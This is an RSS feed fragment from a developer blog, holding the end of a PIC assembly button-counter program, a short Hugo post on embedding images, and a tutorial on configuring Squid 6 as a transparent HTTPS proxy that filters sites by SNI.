&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BTFSS&lt;/span> STATUS, Z
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">CALL&lt;/span> f
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">;********************************************************************************************************&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>revisarintoverflow:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> esmin0 &lt;span style="color:#75715e">; no permite que llege a 0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> esmax15 &lt;span style="color:#75715e">; no permite que llege a 15&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>esmax15:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">MOVLW&lt;/span> &lt;span style="color:#ae81ff">16&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">SUBWF&lt;/span> sa, W
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BTFSS&lt;/span> STATUS, Z
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span> &lt;span style="color:#75715e">;// esto es igual a !=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0x00&lt;/span> &lt;span style="color:#75715e">; Cargar el nuevo valor (0x01) en el registro W&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> sa &lt;span style="color:#75715e">; Transferir el valor de W a &amp;#39;sa&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>esmin0:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">subwf&lt;/span> sa, W &lt;span style="color:#75715e">; &lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">btfss&lt;/span> STATUS, Z &lt;span style="color:#75715e">; esto es igual a != &lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span> &lt;span style="color:#75715e">; &lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">15&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> sa
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">;********************************************************************************************************&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">;incf sa, f aumenta&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">;decf sa, f decrementa&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> acsListener:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BTFSS&lt;/span> PORTC, &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#75715e">; Comprobar si el botón en RC0 está presionado &lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">incf&lt;/span> sa, f
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> descListener:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BTFSS&lt;/span> PORTC, &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#75715e">; Comprobar si el botón en RC1 está presionado&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">decf&lt;/span> sa, f
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> controldebotones:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> acsListener
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> descListener
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">;********************************************************************************************************&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>noop:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">END&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>How to Add Images to Your Hugo Posts</title><link>https://devcodenote.gitlab.io/posts/how-to-add-images/</link><pubDate>Sat, 07 Jun 2025 10:30:00 -0600</pubDate><guid>https://devcodenote.gitlab.io/posts/how-to-add-images/</guid><description>&lt;p>Adding images to your Hugo posts is simple using Markdown.&lt;/p>
&lt;h3 id="embedding-an-image">Embedding an Image
&lt;/h3>&lt;p>You can embed an image like this:&lt;/p>
&lt;p>&lt;code>![Alt text for the image](/images/my-awesome-image.jpg)&lt;/code>&lt;/p>
&lt;p>Make sure your image files are located in the &lt;code>/static/images/&lt;/code> folder (or wherever you prefer to store static assets).&lt;/p>
&lt;h3 id="image-with-a-caption">Image with a Caption
&lt;/h3>&lt;p>Some themes might support captions. Check your theme&amp;rsquo;s documentation!&lt;/p></description></item><item><title>Squid proxy 6.0 for Https Filter [Ubuntu 24.04 LTS] [Transparent Proxy]</title><link>https://devcodenote.gitlab.io/posts/squid-proxy-6.0-for-https-filter-ubuntu-24.04-lts-transparent-proxy/</link><pubDate>Sat, 07 Jun 2025 10:30:00 -0600</pubDate><guid>https://devcodenote.gitlab.io/posts/squid-proxy-6.0-for-https-filter-ubuntu-24.04-lts-transparent-proxy/</guid><description>&lt;img src="https://devcodenote.gitlab.io/images/8eae27349b3b1381cd930ef923d1d0cea41e9adfd9d4338ace34a7621045d44926cadff03f5a9dfe7edc0143a14f362eb646ba7c50183987d09e8110ab6770ae.png" alt="Featured image of post Squid proxy 6.0 for Https Filter [Ubuntu 24.04 LTS] [Transparent Proxy] " />&lt;h2 id="squid-proxy-is-a-great-tool-that-allows-us-to-do-multiple-things-one-of-them-is-to-function-as-a-forward-proxy-and-with-the-use-of-acls-we-can-filter-sites-using-the-sni">Squid Proxy is a great tool that allows us to do multiple things; one of them is to function as a forward proxy, and with the use of ACLs, we can filter sites using the SNI.
&lt;/h2>&lt;h2 id="installation">installation
&lt;/h2>&lt;p>Squid proxy is installed via apt-get. The squid-openssl version is of interest to us since it contains ssl-bump. If our distribution does not include squid-openssl, it must be installed manually.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo apt-get install squid-openssl
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/9034cefa695d9cf73265449df6f2ba05025a2268660c542a44fb1107d1ef4b2610cde1591a62ded00bde3f9d8d2aa3d307087828e21ae3a8b9cfe05567708983.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>We generate the SSL certificates, remember they must be in /etc/squid/ssl; otherwise, Squid will not trust the certificate.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>cd /etc/ssl/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo openssl ecparam -name prime256v1 -genkey -noout -out sslsquid.key
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo openssl req -x509 -days &lt;span style="color:#ae81ff">365&lt;/span> -nodes -key sslsquid.key -out sslsquid.crt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>For Squid Proxy 6.0, it gives the following error if it’s not installed in /etc/ssl/.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>× squid.service - Squid Web Proxy Server
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Loaded: loaded &lt;span style="color:#f92672">(&lt;/span>/usr/lib/systemd/system/squid.service; enabled; preset: enabled&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Active: failed &lt;span style="color:#f92672">(&lt;/span>Result: exit-code&lt;span style="color:#f92672">)&lt;/span> since Fri 2024-06-07 05:48:16 CST; 4s ago
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Duration: 25min 6.288s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Docs: man:squid&lt;span style="color:#f92672">(&lt;/span>8&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Process: &lt;span style="color:#ae81ff">4522&lt;/span> ExecStartPre&lt;span style="color:#f92672">=&lt;/span>/usr/sbin/squid --foreground -z &lt;span style="color:#f92672">(&lt;/span>code&lt;span style="color:#f92672">=&lt;/span>exited, status&lt;span style="color:#f92672">=&lt;/span>1/FAILURE&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> CPU: 54ms
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jun &lt;span style="color:#ae81ff">07&lt;/span> 05:48:16 toor-VMware-Virtual-Platform squid&lt;span style="color:#f92672">[&lt;/span>4522&lt;span style="color:#f92672">]&lt;/span>: 2024/06/07 05:48:16| Finished. Wrote &lt;span style="color:#ae81ff">0&lt;/span> entries.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jun &lt;span style="color:#ae81ff">07&lt;/span> 05:48:16 toor-VMware-Virtual-Platform squid&lt;span style="color:#f92672">[&lt;/span>4522&lt;span style="color:#f92672">]&lt;/span>: 2024/06/07 05:48:16| Took 0.00 seconds &lt;span style="color:#f92672">(&lt;/span> 0.00 entries/sec&lt;span style="color:#f92672">)&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jun &lt;span style="color:#ae81ff">07&lt;/span> 05:48:16 toor-VMware-Virtual-Platform squid&lt;span style="color:#f92672">[&lt;/span>4522&lt;span style="color:#f92672">]&lt;/span>: 2024/06/07 05:48:16| FATAL: No valid signing certificate configured &lt;span style="color:#66d9ef">for&lt;/span> HTTPS_port &lt;span style="color:#f92672">[&lt;/span>::&lt;span style="color:#f92672">]&lt;/span>:3135
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jun &lt;span style="color:#ae81ff">07&lt;/span> 05:48:16 toor-VMware-Virtual-Platform squid&lt;span style="color:#f92672">[&lt;/span>4522&lt;span style="color:#f92672">]&lt;/span>: 2024/06/07 05:48:16| Squid Cache &lt;span style="color:#f92672">(&lt;/span>Version 6.6&lt;span style="color:#f92672">)&lt;/span>: Terminated abnormally.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jun &lt;span style="color:#ae81ff">07&lt;/span> 05:48:16 toor-VMware-Virtual-Platform squid&lt;span style="color:#f92672">[&lt;/span>4522&lt;span style="color:#f92672">]&lt;/span>: CPU Usage: 0.060 seconds &lt;span style="color:#f92672">=&lt;/span> 0.047 user + 0.013 sys
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jun &lt;span style="color:#ae81ff">07&lt;/span> 05:48:16 toor-VMware-Virtual-Platform squid&lt;span style="color:#f92672">[&lt;/span>4522&lt;span style="color:#f92672">]&lt;/span>: Maximum Resident Size: &lt;span style="color:#ae81ff">74752&lt;/span> KB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jun &lt;span style="color:#ae81ff">07&lt;/span> 05:48:16 toor-VMware-Virtual-Platform squid&lt;span style="color:#f92672">[&lt;/span>4522&lt;span style="color:#f92672">]&lt;/span>: Page faults with physical i/o: &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jun &lt;span style="color:#ae81ff">07&lt;/span> 05:48:16 toor-VMware-Virtual-Platform systemd&lt;span style="color:#f92672">[&lt;/span>1&lt;span style="color:#f92672">]&lt;/span>: squid.service: Control process exited, code&lt;span style="color:#f92672">=&lt;/span>exited, status&lt;span style="color:#f92672">=&lt;/span>1/FAILURE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jun &lt;span style="color:#ae81ff">07&lt;/span> 05:48:16 toor-VMware-Virtual-Platform systemd&lt;span style="color:#f92672">[&lt;/span>1&lt;span style="color:#f92672">]&lt;/span>: squid.service: Failed with result &lt;span style="color:#e6db74">&amp;#39;exit-code&amp;#39;&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jun &lt;span style="color:#ae81ff">07&lt;/span> 05:48:16 toor-VMware-Virtual-Platform systemd&lt;span style="color:#f92672">[&lt;/span>1&lt;span style="color:#f92672">]&lt;/span>: Failed to start squid.service - Squid Web Proxy Server.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To configure Squid, we do the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span> cd /etc/squid/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sudo nano squid.conf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To configure Squid, we do the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>http_port &lt;span style="color:#ae81ff">3131&lt;/span> intercept
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>https_port &lt;span style="color:#ae81ff">3135&lt;/span> intercept ssl-bump tls-cert&lt;span style="color:#f92672">=&lt;/span>/etc/ssl/sslsquid.crt tls-key&lt;span style="color:#f92672">=&lt;/span>/etc/ssl/sslsquid.key generate-host-certificates&lt;span style="color:#f92672">=&lt;/span>on dynamic_cert_mem_cache_size&lt;span style="color:#f92672">=&lt;/span>16MB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>http_access allow localnet
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/3929c81e35a5719f6884afb94c6b337e6e0ef3f7aeed5fb0221f7343a9518fd80bb5963bf063c1dc565766d63f487d5f496373386e72b2022804c916385328bf.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>Uncomment the following line.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#Default:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sslcrtd_program /usr/lib/squid/security_file_certgen -s /var/spool/squid/ssl_db -M 4MB
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/b69d71a0d29f37d5f070dcb09c0093615969d27c1aa02be7abe62e7ff5cb774efb1ff8e50975ffd64ef13f2d8bf8acf9c0f2ff34e40416805def1bcc3e39573f.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>We have to configure iptables so that the traffic goes through squid proxy&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo iptables -t nat -I PREROUTING -p tcp -m tcp --dport &lt;span style="color:#ae81ff">443&lt;/span> -j REDIRECT --to-ports &lt;span style="color:#ae81ff">3135&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo iptables -t nat -I PREROUTING -p tcp -m tcp --dport &lt;span style="color:#ae81ff">80&lt;/span> -j REDIRECT --to-ports &lt;span style="color:#ae81ff">3131&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo sysctl -w net.ipv4.ip_forward&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="access-controls">Access Controls
&lt;/h2>&lt;p>We create a file where the domains to be blocked will be&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span> sudo mkdir /blockwebsites
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cd /blockwebsites
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo nano list1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We add example.com as an example.&lt;/p>
&lt;p>&lt;code>example.com&lt;/code>&lt;/p>
&lt;h2 id="block-web-site-via-sni-server-name-indication">Block web site via SNI (Server Name Indication)
&lt;/h2>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo nano /etc/squid/squid.conf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We add the following at the end of the configuration.&lt;/p>
&lt;pre tabindex="0">&lt;code>acl monitoredSites ssl::server_name &amp;#34;/blockwebsites/list1&amp;#34;
ssl_bump terminate monitoredSites
ssl_bump peek all
ssl_bump splice all
&lt;/code>&lt;/pre>&lt;p>In this case we do not want to interfere with the original certificate we use
ssl_bump peek all
ssl_bump splice all&lt;/p>
&lt;p>&lt;a class="link" href="https://wiki.squid-cache.org/Features/SslPeekAndSplice" target="_blank" rel="noopener"
>https://wiki.squid-cache.org/Features/SslPeekAndSplice&lt;/a>&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/8eae27349b3b1381cd930ef923d1d0cea41e9adfd9d4338ace34a7621045d44926cadff03f5a9dfe7edc0143a14f362eb646ba7c50183987d09e8110ab6770ae.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/d7f81f61121521e249fb31d971fe372b7f84421cdb298263324d49d21ab00a9d32e14769101222af4cca06a21b134474a1c9155df279f85da6aab82a2b498b91.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>The website is working without installing any certificate on the client&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/edf1786ab6b3bb51266cf81f277a1e68f584652482d2f83d745e3735ce984744343a21f0516d1081e80c263bac1d44fcb491452a3dd89a1e392607a741022d31.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;hr>
&lt;h1 id="block-quic-using-the-firewall-policy">Block QUIC using the firewall policy.
&lt;/h1>&lt;p>Squid Proxy does not support QUIC, so we have to disable it.&lt;/p>
&lt;pre tabindex="0">&lt;code>sudo iptables -I FORWARD -p udp --dport 443 -j REJECT --reject-with icmp-port-unreachable
&lt;/code>&lt;/pre></description></item></channel></rss>